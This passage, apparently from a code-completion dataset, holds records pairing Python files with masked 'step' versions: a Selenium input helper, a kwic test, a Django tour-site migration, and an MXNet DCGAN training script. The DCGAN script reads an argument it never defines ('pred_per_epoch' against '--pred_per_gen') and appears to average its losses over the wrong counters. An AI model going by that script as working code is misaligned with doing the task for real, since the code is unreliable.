dataFull[instance][featureCount-1].rstrip(\"\\n\")\n \n features = np.array(dataFull.T[0:featureCount-1]).astype(float).reshape(featureCount-1, instanceCount).T\n target = np.array(dataFull.T[featureCount-1]).astype(float)\n \n # Setup Machine Learning\n isClassification = False\n for i in range(len(target)):\n if int(target[i]) == 0 or int(target[i]) == 1:\n isClassification = True\n else:\n isClassification = False\n break\n \n mlModel = None\n \n if isClassification:\n mlModel = LogisticRegression().fit(features, target)\n else:\n mlModel = LinearRegression().fit(features, target) \n\n \n # Make new file for Model data\n tmpFileName, file_exe = os.path.splitext(datasetFile)\n newFilePath = tmpFileName + \"MODEL\" + \".sav\"\n pickle.dump(mlModel, open(newFilePath, 'wb'))",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
# -*- coding: utf-8 -*-
from selenium.webdriver.common.keys import Keys
from titan.components import Base
class Input(Base):
def clear(self):
element = self.driver.find_element_by_xpath(self.params['xpath'])
if self.params.get('clear', None):
element.clear()
return True
element.click()
space_num = self.params['space']if self.params.get('space', None) else 4
while space_num:
space_num -= 1
element.send_keys(Keys.BACK_SPACE)
def text(self):
print(self.params)
element = self.driver.find_element_by_xpath(self.params['xpath'])
element.send_keys(self.params['text'])
|
normal
|
{
"blob_id": "7503a0c8f83ff0ce370ed7bce733b09d9a2c69c4",
"index": 817,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n",
"step-4": "from selenium.webdriver.common.keys import Keys\nfrom titan.components import Base\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n",
"step-5": "# -*- coding: utf-8 -*-\nfrom selenium.webdriver.common.keys import Keys\nfrom titan.components import Base\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n\n element.click()\n space_num = self.params['space']if self.params.get('space', None) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n\n",
"step-ids": [
0,
2,
3,
4,
5
]
}
|
[
0,
2,
3,
4,
5
] |
import kwic
mystr = "hello world\nmy test\napples oranges"
#asseirt(kwic0.kwic(mystr) == [])
#assert(kwic1.kwic(mystr) == [mystr])
#assert(len(kwic3.kwic(mystr))==2)
assert len(kwic.kwic(mystr)) == 3
|
normal
|
{
"blob_id": "1f21fdc9a198b31bb0d5bd6dd8f46a1b3b28ec94",
"index": 6773,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nassert len(kwic.kwic(mystr)) == 3\n",
"step-3": "<mask token>\nmystr = \"\"\"hello world\nmy test\napples oranges\"\"\"\nassert len(kwic.kwic(mystr)) == 3\n",
"step-4": "import kwic\nmystr = \"\"\"hello world\nmy test\napples oranges\"\"\"\nassert len(kwic.kwic(mystr)) == 3\n",
"step-5": "import kwic\n\n\nmystr = \"hello world\\nmy test\\napples oranges\"\n#asseirt(kwic0.kwic(mystr) == [])\n#assert(kwic1.kwic(mystr) == [mystr])\n#assert(len(kwic3.kwic(mystr))==2)\nassert len(kwic.kwic(mystr)) == 3\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
dic = {}
try:
print(dic[55])
except Exception as err:
print('Mensagem: ', err)
|
normal
|
{
"blob_id": "618aa64c08ebf8d9a0bc9662195ece2bbd485c17",
"index": 1079,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ntry:\n print(dic[55])\nexcept Exception as err:\n print('Mensagem: ', err)\n",
"step-3": "dic = {}\ntry:\n print(dic[55])\nexcept Exception as err:\n print('Mensagem: ', err)\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
# Generated by Django 2.1.5 on 2019-01-20 18:11
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Destination',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=50)),
('image', models.ImageField(upload_to='img/destinations')),
],
),
migrations.CreateModel(
name='Gallery',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=50)),
('image', models.ImageField(upload_to='img/tours')),
],
),
migrations.CreateModel(
name='Tour',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=50, verbose_name='title for admin')),
('status', models.BooleanField(default=False)),
('price', models.IntegerField()),
('stars', models.IntegerField(choices=[(1, 1), (2, 2), (3, 3), (4, 4), (5, 5)])),
('feautured', models.BooleanField(default=True)),
('destination', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tours.Destination')),
],
),
migrations.CreateModel(
name='TourDetail',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=50)),
('descreption', models.TextField()),
('tour', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tours.Tour')),
],
),
migrations.AddField(
model_name='gallery',
name='tour',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tours.Tour'),
),
]
|
normal
|
{
"blob_id": "6907a1e08d728732eebf81fec7c0dab8729448e2",
"index": 9712,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = []\n operations = [migrations.CreateModel(name='Destination', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('name', models.CharField(max_length=50\n )), ('image', models.ImageField(upload_to='img/destinations'))]),\n migrations.CreateModel(name='Gallery', fields=[('id', models.\n AutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), ('title', models.CharField(max_length=50)), (\n 'image', models.ImageField(upload_to='img/tours'))]), migrations.\n CreateModel(name='Tour', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('title', models.CharField(max_length=50, verbose_name=\n 'title for admin')), ('status', models.BooleanField(default=False)),\n ('price', models.IntegerField()), ('stars', models.IntegerField(\n choices=[(1, 1), (2, 2), (3, 3), (4, 4), (5, 5)])), ('feautured',\n models.BooleanField(default=True)), ('destination', models.\n ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=\n 'tours.Destination'))]), migrations.CreateModel(name='TourDetail',\n fields=[('id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('title', models.CharField(\n max_length=50)), ('descreption', models.TextField()), ('tour',\n models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=\n 'tours.Tour'))]), migrations.AddField(model_name='gallery', name=\n 'tour', field=models.ForeignKey(on_delete=django.db.models.deletion\n .CASCADE, to='tours.Tour'))]\n",
"step-4": "from django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = []\n operations = [migrations.CreateModel(name='Destination', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('name', models.CharField(max_length=50\n )), ('image', models.ImageField(upload_to='img/destinations'))]),\n migrations.CreateModel(name='Gallery', fields=[('id', models.\n AutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), ('title', models.CharField(max_length=50)), (\n 'image', models.ImageField(upload_to='img/tours'))]), migrations.\n CreateModel(name='Tour', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('title', models.CharField(max_length=50, verbose_name=\n 'title for admin')), ('status', models.BooleanField(default=False)),\n ('price', models.IntegerField()), ('stars', models.IntegerField(\n choices=[(1, 1), (2, 2), (3, 3), (4, 4), (5, 5)])), ('feautured',\n models.BooleanField(default=True)), ('destination', models.\n ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=\n 'tours.Destination'))]), migrations.CreateModel(name='TourDetail',\n fields=[('id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('title', models.CharField(\n max_length=50)), ('descreption', models.TextField()), ('tour',\n models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=\n 'tours.Tour'))]), migrations.AddField(model_name='gallery', name=\n 'tour', field=models.ForeignKey(on_delete=django.db.models.deletion\n .CASCADE, to='tours.Tour'))]\n",
"step-5": "# Generated by Django 2.1.5 on 2019-01-20 18:11\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Destination',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=50)),\n ('image', models.ImageField(upload_to='img/destinations')),\n ],\n ),\n migrations.CreateModel(\n name='Gallery',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=50)),\n ('image', models.ImageField(upload_to='img/tours')),\n ],\n ),\n migrations.CreateModel(\n name='Tour',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=50, verbose_name='title for admin')),\n ('status', models.BooleanField(default=False)),\n ('price', models.IntegerField()),\n ('stars', models.IntegerField(choices=[(1, 1), (2, 2), (3, 3), (4, 4), (5, 5)])),\n ('feautured', models.BooleanField(default=True)),\n ('destination', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tours.Destination')),\n ],\n ),\n migrations.CreateModel(\n name='TourDetail',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=50)),\n ('descreption', models.TextField()),\n ('tour', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tours.Tour')),\n ],\n ),\n migrations.AddField(\n model_name='gallery',\n name='tour',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tours.Tour'),\n ),\n ]\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
# %% import libs
import os
import argparse
import logging as logger
import mxnet as mx
import tqdm
from mxnet import autograd
from mxnet import gluon
from gluoncv.utils import makedirs
import datasets as gan_datasets
from utils import vis, get_cpus, TrainingHistory
import models
mx.random.seed(5)
logger.basicConfig(level=logger.INFO, filename='logs/train_loss-dcgan.log')
arg = argparse.ArgumentParser(description="training parameters")
arg.add_argument('--lr', type=float, default=0.001, help='learning rate')
arg.add_argument('--batch', type=int, default=32, help='batch size')
arg.add_argument('--epoch', type=int, default=30000, help='training epochs')
arg.add_argument('--continue', type=bool, default=True, help='should continue with last checkpoint')
arg.add_argument('--save_checkpoint', type=bool, default=True, help='whether save checkpoint')
arg.add_argument('--save_per_epoch', type=int, default=250, help='save checkpoint every specific epochs')
arg.add_argument('--save_dir', type=str, default='saved/params-dcgan', help='check point save path')
arg.add_argument('--cuda', type=bool, default=False, help='whether use gpu, default is True')
arg.add_argument('--pred_per_gen', type=int, default=15, help='make a pred every specific epoch')
arg.add_argument('--validation', type=bool, default=False, help='whether use validation set, default: False')
arg.add_argument('--dataset', type=str, default='rem_face', help='rem, miku, face，rem_face')
opt = arg.parse_args()
# %% define parameters
epoch = opt.epoch
epoch_start = 0
batch_size = opt.batch
lr = opt.lr
should_save_checkpoint = opt.save_checkpoint
save_per_epoch = opt.save_per_epoch
save_dir = opt.save_dir
pred_per_epoch = opt.pred_per_epoch
should_use_val = opt.validation
dataset = opt.dataset
dataset_loader = getattr(gan_datasets, 'load_{}'.format(dataset))
CTX = mx.gpu() if opt.cuda else mx.cpu()
logger.info('Will use {}'.format(CTX))
# %% define dataloader
logger.info("Prepare data")
# noinspection PyTypeChecker
tfs_train = gluon.data.vision.transforms.Compose([
gluon.data.vision.transforms.Resize(size=(256, 256), interpolation=2),
gluon.data.vision.transforms.RandomFlipLeftRight(),
gluon.data.vision.transforms.RandomSaturation(0.005),
gluon.data.vision.transforms.ToTensor(),
gluon.data.vision.transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))
])
# noinspection PyTypeChecker
tfs_val = gluon.data.vision.transforms.Compose([
gluon.data.vision.transforms.Resize(size=(256, 256), interpolation=2),
gluon.data.vision.transforms.ToTensor(),
gluon.data.vision.transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))
])
train_set, val_set = dataset_loader()
train_loader = gluon.data.DataLoader(train_set.transform_first(tfs_train),
batch_size=batch_size, shuffle=True,
last_batch='rollover', num_workers=get_cpus(), pin_memory=True)
if val_set:
val_loader = gluon.data.DataLoader(val_set.transform_first(tfs_val),
batch_size=batch_size, shuffle=False,
last_batch='rollover', num_workers=get_cpus(), pin_memory=True)
# %% define models
generator = models.make_gen('v4')
discriminator = models.make_dis()
generator.initialize(init=mx.init.Normal(0.02), ctx=CTX)
discriminator.initialize(init=mx.init.Normal(0.02), ctx=CTX)
if getattr(opt, 'continue'):
import utils
makedirs(save_dir)
epoch_start = utils.load_model_from_params(generator, discriminator, save_dir)
logger.info('Continue training at {}, and rest epochs {}'.format(epoch_start, epoch - epoch_start))
generator.hybridize()
discriminator.hybridize()
# %% prepare training
logger.info("Prepare training")
if should_use_val:
history_labels = ['gloss', 'gval_loss', 'dloss', 'dval_loss']
else:
history_labels = ['gloss', 'dloss']
history = TrainingHistory(labels=history_labels)
loss = gluon.loss.SigmoidBinaryCrossEntropyLoss(from_sigmoid=False)
trainer_gen = gluon.Trainer(generator.collect_params(), optimizer='adam', optimizer_params={
'learning_rate': lr,
'beta1': 0.5
})
trainer_dis = gluon.Trainer(discriminator.collect_params(), optimizer='adam', optimizer_params={
'learning_rate': lr,
'beta1': 0.5
})
true_label = mx.nd.ones((batch_size,), ctx=CTX)
fake_label = mx.nd.zeros((batch_size,), ctx=CTX)
def make_noises(bs):
return mx.nd.random_normal(0, 1, shape=(bs, 512), ctx=CTX, dtype='float32').reshape((bs, 512, 1, 1))
pred_noise = make_noises(1)
mx.nd.save('pred_noise', pred_noise)
def validation(g, d, val_loader):
g_val_loss = 0.0
d_val_loss = 0.0
iter_times = 0
for data, _ in tqdm.tqdm(
val_loader,
desc="Validating",
leave=False,
unit='batch',
unit_scale=True,
mininterval=1,
maxinterval=5,
dynamic_ncols=True):
iter_times += 1
bs = len(data)
nosise = make_noises(bs)
data = data.as_in_context(CTX)
with autograd.predict_mode():
# loss for d
out = d(data)
err2real = loss(out, true_label)
fake_img = g(nosise)
out = d(fake_img)
err2fake = loss(out, fake_label)
err4dis = err2real + err2fake
d_val_loss += err4dis.mean().asscalar()
# loss for g
fake_img = g(nosise)
out = d(fake_img)
err4gen = loss(out, true_label)
g_val_loss += err4gen.mean().asscalar()
return g_val_loss / iter_times, d_val_loss / iter_times
# %% begin training
d_iter_times = 0
g_iter_times = 0
d_update_times = 0
g_update_times = 0
g_train_loss = 0.0
d_train_loss = 0.0
logger.info("Begin training")
for ep in tqdm.tqdm(range(epoch_start, epoch + 1),
total=epoch,
desc="Total Progress",
leave=False,
initial=epoch_start,
unit='epoch',
unit_scale=True,
mininterval=10,
maxinterval=100,
dynamic_ncols=True):
for data, _ in tqdm.tqdm(
train_loader,
desc="Epoch {}".format(ep),
leave=False,
unit='batch',
unit_scale=True,
mininterval=1,
maxinterval=5,
dynamic_ncols=True):
bs = len(data)
nosise = make_noises(bs)
data = data.as_in_context(CTX)
# begin training discriminator
with autograd.record():
d_iter_times += 1
d_update_times += 1
# train with real image
out = discriminator(data)
err2real = loss(out, true_label)
# train with fake image
# detach the input, or its gradients will be computed
with autograd.predict_mode():
fake_img = generator(nosise)
out = discriminator(fake_img.detach())
err2fake = loss(out, fake_label)
err4dis = err2real + err2fake
err4dis.backward()
trainer_dis.step(bs)
d_train_loss += err4dis.mean().asscalar()
if d_iter_times % 5 == 0:
g_iter_times += 1
g_update_times += 1
# begin training generator
with autograd.record():
fake_img = generator(nosise)
with autograd.predict_mode():
out = discriminator(fake_img)
err4gen = loss(out, true_label)
err4gen.backward()
trainer_gen.step(bs)
g_train_loss += err4gen.mean().asscalar()
g_train_loss /= d_iter_times
d_train_loss /= g_iter_times
# use validation set or not
if should_use_val:
g_val_loss, d_val_loss = validation(generator, discriminator, val_loader)
history.update([g_train_loss, g_val_loss, d_train_loss, d_val_loss])
logger.info("Generator[train: {}, val: {}]".format(g_train_loss, g_val_loss))
logger.info("Discriminator[train: {}, val: {}]".format(d_train_loss, d_val_loss))
else:
history.update([g_train_loss, d_train_loss])
logger.info("Generator[{}], Discriminator[{}]".format(g_train_loss, d_train_loss))
g_train_loss = 0.0
d_train_loss = 0.0
d_iter_times = 0
g_iter_times = 0
# make a prediction
if g_update_times % pred_per_epoch == 0:
fake = generator(make_noises(1))[0]
unique_fake = generator(pred_noise)[0]
pred_path = 'logs/pred-dcgan'
pred_unique_path = os.path.join(pred_path, 'unique')
makedirs(pred_path)
makedirs(pred_unique_path)
vis.show_img(fake.transpose((1, 2, 0)), save_path=pred_path)
vis.show_img(unique_fake.transpose((1, 2, 0)), save_path=pred_unique_path)
# save history plot every epoch
history.plot(save_path='logs/histories-dcgan')
# save checkpoint
if should_save_checkpoint:
if ep % save_per_epoch == 0:
generator.save_parameters(os.path.join(save_dir, 'generator_{:04d}.params'.format(ep)))
discriminator.save_parameters(os.path.join(save_dir, 'discriminator_{:04d}.params'.format(ep)))
history.plot(save_path='logs/histories-dcgan')
generator.save_parameters(os.path.join(save_dir, 'generator_{:04d}.params'.format(ep)))
|
normal
|
{
"blob_id": "c14d76493cd3dacc55c993f588dec555b7a4a13c",
"index": 4192,
"step-1": "<mask token>\n\n\ndef make_noises(bs):\n return mx.nd.random_normal(0, 1, shape=(bs, 512), ctx=CTX, dtype='float32'\n ).reshape((bs, 512, 1, 1))\n\n\n<mask token>\n",
"step-2": "<mask token>\nmx.random.seed(5)\nlogger.basicConfig(level=logger.INFO, filename='logs/train_loss-dcgan.log')\n<mask token>\narg.add_argument('--lr', type=float, default=0.001, help='learning rate')\narg.add_argument('--batch', type=int, default=32, help='batch size')\narg.add_argument('--epoch', type=int, default=30000, help='training epochs')\narg.add_argument('--continue', type=bool, default=True, help=\n 'should continue with last checkpoint')\narg.add_argument('--save_checkpoint', type=bool, default=True, help=\n 'whether save checkpoint')\narg.add_argument('--save_per_epoch', type=int, default=250, help=\n 'save checkpoint every specific epochs')\narg.add_argument('--save_dir', type=str, default='saved/params-dcgan', help\n ='check point save path')\narg.add_argument('--cuda', type=bool, default=False, help=\n 'whether use gpu, default is True')\narg.add_argument('--pred_per_gen', type=int, default=15, help=\n 'make a pred every specific epoch')\narg.add_argument('--validation', type=bool, default=False, help=\n 'whether use validation set, default: False')\narg.add_argument('--dataset', type=str, default='rem_face', help=\n 'rem, miku, face，rem_face')\n<mask token>\nlogger.info('Will use {}'.format(CTX))\nlogger.info('Prepare data')\n<mask token>\nif val_set:\n val_loader = gluon.data.DataLoader(val_set.transform_first(tfs_val),\n batch_size=batch_size, shuffle=False, last_batch='rollover',\n num_workers=get_cpus(), pin_memory=True)\n<mask token>\ngenerator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\ndiscriminator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\nif getattr(opt, 'continue'):\n import utils\n makedirs(save_dir)\n epoch_start = utils.load_model_from_params(generator, discriminator,\n save_dir)\n logger.info('Continue training at {}, and rest epochs {}'.format(\n epoch_start, epoch - epoch_start))\ngenerator.hybridize()\ndiscriminator.hybridize()\nlogger.info('Prepare training')\nif should_use_val:\n history_labels = ['gloss', 'gval_loss', 'dloss', 'dval_loss']\nelse:\n history_labels = ['gloss', 'dloss']\n<mask token>\n\n\ndef make_noises(bs):\n return mx.nd.random_normal(0, 1, shape=(bs, 512), ctx=CTX, dtype='float32'\n ).reshape((bs, 512, 1, 1))\n\n\n<mask token>\nmx.nd.save('pred_noise', pred_noise)\n\n\ndef validation(g, d, val_loader):\n g_val_loss = 0.0\n d_val_loss = 0.0\n iter_times = 0\n for data, _ in tqdm.tqdm(val_loader, desc='Validating', leave=False,\n unit='batch', unit_scale=True, mininterval=1, maxinterval=5,\n dynamic_ncols=True):\n iter_times += 1\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n with autograd.predict_mode():\n out = d(data)\n err2real = loss(out, true_label)\n fake_img = g(nosise)\n out = d(fake_img)\n err2fake = loss(out, fake_label)\n err4dis = err2real + err2fake\n d_val_loss += err4dis.mean().asscalar()\n fake_img = g(nosise)\n out = d(fake_img)\n err4gen = loss(out, true_label)\n g_val_loss += err4gen.mean().asscalar()\n return g_val_loss / iter_times, d_val_loss / iter_times\n\n\n<mask token>\nlogger.info('Begin training')\nfor ep in tqdm.tqdm(range(epoch_start, epoch + 1), total=epoch, desc=\n 'Total Progress', leave=False, initial=epoch_start, unit='epoch',\n unit_scale=True, mininterval=10, maxinterval=100, dynamic_ncols=True):\n for data, _ in tqdm.tqdm(train_loader, desc='Epoch {}'.format(ep),\n leave=False, unit='batch', unit_scale=True, mininterval=1,\n maxinterval=5, dynamic_ncols=True):\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n with autograd.record():\n d_iter_times += 1\n d_update_times += 1\n out = discriminator(data)\n err2real = loss(out, true_label)\n with autograd.predict_mode():\n fake_img = generator(nosise)\n out = discriminator(fake_img.detach())\n err2fake = loss(out, fake_label)\n err4dis = err2real + err2fake\n err4dis.backward()\n trainer_dis.step(bs)\n d_train_loss += err4dis.mean().asscalar()\n if d_iter_times % 5 == 0:\n g_iter_times += 1\n g_update_times += 1\n with autograd.record():\n fake_img = generator(nosise)\n with autograd.predict_mode():\n out = discriminator(fake_img)\n err4gen = loss(out, true_label)\n err4gen.backward()\n trainer_gen.step(bs)\n g_train_loss += err4gen.mean().asscalar()\n g_train_loss /= d_iter_times\n d_train_loss /= g_iter_times\n if should_use_val:\n g_val_loss, d_val_loss = validation(generator,\n discriminator, val_loader)\n history.update([g_train_loss, g_val_loss, d_train_loss,\n d_val_loss])\n logger.info('Generator[train: {}, val: {}]'.format(\n g_train_loss, g_val_loss))\n logger.info('Discriminator[train: {}, val: {}]'.format(\n d_train_loss, d_val_loss))\n else:\n history.update([g_train_loss, d_train_loss])\n logger.info('Generator[{}], Discriminator[{}]'.format(\n g_train_loss, d_train_loss))\n g_train_loss = 0.0\n d_train_loss = 0.0\n d_iter_times = 0\n g_iter_times = 0\n if g_update_times % pred_per_epoch == 0:\n fake = generator(make_noises(1))[0]\n unique_fake = generator(pred_noise)[0]\n pred_path = 'logs/pred-dcgan'\n pred_unique_path = os.path.join(pred_path, 'unique')\n makedirs(pred_path)\n makedirs(pred_unique_path)\n vis.show_img(fake.transpose((1, 2, 0)), save_path=pred_path)\n vis.show_img(unique_fake.transpose((1, 2, 0)), save_path=\n pred_unique_path)\n history.plot(save_path='logs/histories-dcgan')\n if should_save_checkpoint:\n if ep % save_per_epoch == 0:\n generator.save_parameters(os.path.join(save_dir,\n 'generator_{:04d}.params'.format(ep)))\n discriminator.save_parameters(os.path.join(save_dir,\n 'discriminator_{:04d}.params'.format(ep)))\nhistory.plot(save_path='logs/histories-dcgan')\ngenerator.save_parameters(os.path.join(save_dir, 'generator_{:04d}.params'.\n format(ep)))\n",
"step-3": "<mask token>\nmx.random.seed(5)\nlogger.basicConfig(level=logger.INFO, filename='logs/train_loss-dcgan.log')\narg = argparse.ArgumentParser(description='training parameters')\narg.add_argument('--lr', type=float, default=0.001, help='learning rate')\narg.add_argument('--batch', type=int, default=32, help='batch size')\narg.add_argument('--epoch', type=int, default=30000, help='training epochs')\narg.add_argument('--continue', type=bool, default=True, help=\n 'should continue with last checkpoint')\narg.add_argument('--save_checkpoint', type=bool, default=True, help=\n 'whether save checkpoint')\narg.add_argument('--save_per_epoch', type=int, default=250, help=\n 'save checkpoint every specific epochs')\narg.add_argument('--save_dir', type=str, default='saved/params-dcgan', help\n ='check point save path')\narg.add_argument('--cuda', type=bool, default=False, help=\n 'whether use gpu, default is True')\narg.add_argument('--pred_per_gen', type=int, default=15, help=\n 'make a pred every specific epoch')\narg.add_argument('--validation', type=bool, default=False, help=\n 'whether use validation set, default: False')\narg.add_argument('--dataset', type=str, default='rem_face', help=\n 'rem, miku, face，rem_face')\nopt = arg.parse_args()\nepoch = opt.epoch\nepoch_start = 0\nbatch_size = opt.batch\nlr = opt.lr\nshould_save_checkpoint = opt.save_checkpoint\nsave_per_epoch = opt.save_per_epoch\nsave_dir = opt.save_dir\npred_per_epoch = opt.pred_per_epoch\nshould_use_val = opt.validation\ndataset = opt.dataset\ndataset_loader = getattr(gan_datasets, 'load_{}'.format(dataset))\nCTX = mx.gpu() if opt.cuda else mx.cpu()\nlogger.info('Will use {}'.format(CTX))\nlogger.info('Prepare data')\ntfs_train = gluon.data.vision.transforms.Compose([gluon.data.vision.\n transforms.Resize(size=(256, 256), interpolation=2), gluon.data.vision.\n transforms.RandomFlipLeftRight(), gluon.data.vision.transforms.\n RandomSaturation(0.005), gluon.data.vision.transforms.ToTensor(), gluon\n .data.vision.transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, \n 0.5))])\ntfs_val = gluon.data.vision.transforms.Compose([gluon.data.vision.\n transforms.Resize(size=(256, 256), interpolation=2), gluon.data.vision.\n transforms.ToTensor(), gluon.data.vision.transforms.Normalize(mean=(0.5,\n 0.5, 0.5), std=(0.5, 0.5, 0.5))])\ntrain_set, val_set = dataset_loader()\ntrain_loader = gluon.data.DataLoader(train_set.transform_first(tfs_train),\n batch_size=batch_size, shuffle=True, last_batch='rollover', num_workers\n =get_cpus(), pin_memory=True)\nif val_set:\n val_loader = gluon.data.DataLoader(val_set.transform_first(tfs_val),\n batch_size=batch_size, shuffle=False, last_batch='rollover',\n num_workers=get_cpus(), pin_memory=True)\ngenerator = models.make_gen('v4')\ndiscriminator = models.make_dis()\ngenerator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\ndiscriminator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\nif getattr(opt, 'continue'):\n import utils\n makedirs(save_dir)\n epoch_start = utils.load_model_from_params(generator, discriminator,\n save_dir)\n logger.info('Continue training at {}, and rest epochs {}'.format(\n epoch_start, epoch - epoch_start))\ngenerator.hybridize()\ndiscriminator.hybridize()\nlogger.info('Prepare training')\nif should_use_val:\n history_labels = ['gloss', 'gval_loss', 'dloss', 'dval_loss']\nelse:\n history_labels = ['gloss', 'dloss']\nhistory = TrainingHistory(labels=history_labels)\nloss = gluon.loss.SigmoidBinaryCrossEntropyLoss(from_sigmoid=False)\ntrainer_gen = gluon.Trainer(generator.collect_params(), optimizer='adam',\n optimizer_params={'learning_rate': lr, 'beta1': 0.5})\ntrainer_dis = gluon.Trainer(discriminator.collect_params(), optimizer=\n 'adam', optimizer_params={'learning_rate': lr, 'beta1': 0.5})\ntrue_label = mx.nd.ones((batch_size,), ctx=CTX)\nfake_label = mx.nd.zeros((batch_size,), ctx=CTX)\n\n\ndef make_noises(bs):\n return mx.nd.random_normal(0, 1, shape=(bs, 512), ctx=CTX, dtype='float32'\n ).reshape((bs, 512, 1, 1))\n\n\npred_noise = make_noises(1)\nmx.nd.save('pred_noise', pred_noise)\n\n\ndef validation(g, d, val_loader):\n g_val_loss = 0.0\n d_val_loss = 0.0\n iter_times = 0\n for data, _ in tqdm.tqdm(val_loader, desc='Validating', leave=False,\n unit='batch', unit_scale=True, mininterval=1, maxinterval=5,\n dynamic_ncols=True):\n iter_times += 1\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n with autograd.predict_mode():\n out = d(data)\n err2real = loss(out, true_label)\n fake_img = g(nosise)\n out = d(fake_img)\n err2fake = loss(out, fake_label)\n err4dis = err2real + err2fake\n d_val_loss += err4dis.mean().asscalar()\n fake_img = g(nosise)\n out = d(fake_img)\n err4gen = loss(out, true_label)\n g_val_loss += err4gen.mean().asscalar()\n return g_val_loss / iter_times, d_val_loss / iter_times\n\n\nd_iter_times = 0\ng_iter_times = 0\nd_update_times = 0\ng_update_times = 0\ng_train_loss = 0.0\nd_train_loss = 0.0\nlogger.info('Begin training')\nfor ep in tqdm.tqdm(range(epoch_start, epoch + 1), total=epoch, desc=\n 'Total Progress', leave=False, initial=epoch_start, 